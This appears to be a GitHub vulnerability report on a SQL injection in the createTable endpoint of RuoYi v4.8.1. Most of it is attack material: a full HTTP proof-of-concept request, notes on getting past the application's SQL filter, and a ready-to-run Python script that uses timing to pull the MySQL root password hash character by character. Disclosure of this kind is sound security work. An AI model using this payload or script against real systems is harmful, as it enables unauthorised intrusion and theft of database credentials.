-
-
Notifications
You must be signed in to change notification settings - Fork 2.2k
Description
/tool/gen/createTable SQL injection
[Affected version]
v4.8.1
[Affected Component]
/tool/gen/createTable
[Software]
https://github.com/yangzongzhuan/RuoYi/archive/refs/tags/v4.8.1.zip
[Description]
There is an SQL injection vulnerability in the SQL parameters of the /tool/gen/creatTable interface in ruoyi system v4.8.1. Hackers can exploit this vulnerability to obtain sensitive server information
POC
POST /tool/gen/createTable HTTP/1.1
Host: 127.0.0.1:8099
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9
sec-ch-ua-mobile: ?0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
sec-ch-ua-platform: "Windows"
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://127.0.0.1:8099
sec-ch-ua: "Chromium";v="140", "Not=A?Brand";v="24", "Google Chrome";v="140"
Sec-Fetch-Mode: cors
Referer: http://127.0.0.1:8099/tool/gen/createTable
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Cookie: JSESSIONID=f599f95a-4515-4566-bc39-c89ec7970999
Sec-Fetch-Dest: empty
X-CSRF-Token: zdkIQfZ1xwxZSnPEYhLvjpOt+n4bt+usQwPVd5SJf3M=
X-Requested-With: XMLHttpRequest
Sec-Fetch-Site: same-origin
Content-Length: 200
sql=create+table+a_1+as+select'1'from+sys_job+where+if(ascii(substring((SELECT(authentication_string)from+mysql.user+WHERE+user%3D'root'+limit+0%2C1)%2C2%2C1))%3D54%2CBENCHMARK(20000000%2Cmd5(1))%2C1)
RuoYi-4.8.1\ruoyi-generator\src\main\java\com\ruoyi\generator\controller\GenController.java:211
The SQL statement executed here has a filter on it, but it is not strictly filtered. For example, if select plus spaces is filtered, we can use select() to bypass or select '1'
RuoYi-4.8.1\ruoyi-common\src\main\java\com\ruoyi\common\utils\sql\SqlUtil.java:16
The sleep here has been filtered. We can use the benchmark
Below is the validation script,Used to retrieve the password from another database MySQL
import requests
import time
def blind_sql_injection():
base_url = "http://127.0.0.1:8099/tool/gen/createTable"
headers = {
"Cookie": "JSESSIONID=f599f95a-4515-4566-bc39-c89ec7970999"
}
# 字符集:星号和十六进制大写字母
charset = '*0123456789ABCDEF'
password = []
table_counter = 1 # 用于递增表名
# 测试41个位置(假设密码哈希值长度为41,包括星号)
for position in range(1, 42):
found_char = None
# 测试每个字符
for char in charset:
# 构建SQL语句,表名递增
sql_template = f"create table aaa_{table_counter} as select'1'from sys_job where if(ascii(substring((SELECT(authentication_string)from mysql.user WHERE user='root' limit 0,1),{position},1))={ord(char)},BENCHMARK(20000000,md5(1)),1)"
table_counter += 1 # 递增表名计数器
data = {"sql": sql_template}
# 记录开始时间
start_time = time.time()
try:
response = requests.post(
base_url,
headers=headers,
data=data,
timeout=15 # 设置较长的超时时间
)
elapsed = time.time() - start_time
# 如果响应时间大于1秒,则认为字符正确
if elapsed > 1.0:
found_char = char
password.append(char)
print(f"位置 {position}: 找到字符 '{char}',响应时间: {elapsed:.2f}秒")
print(f"当前密码: {''.join(password)}")
break
else:
print(f"位置 {position}: 测试字符 '{char}',响应时间: {elapsed:.2f}秒")
except requests.exceptions.Timeout:
found_char = char
password.append(char)
print(f"位置 {position}: 找到字符 '{char}' (超时)")
print(f"当前密码: {''.join(password)}")
break
except Exception as e:
print(f"位置 {position}: 测试字符 '{char}' 时发生错误: {e}")
# 继续尝试下一个字符
continue
# 如果未找到字符,添加占位符
if not found_char:
password.append('?')
print(f"位置 {position}: 未找到匹配字符")
# 输出最终结果
final_password = ''.join(password)
print(f"\n最终密码: {final_password}")
return final_password
if __name__ == "__main__":
blind_sql_injection()
A large number of tables will be generated during use, so use with caution in production environments
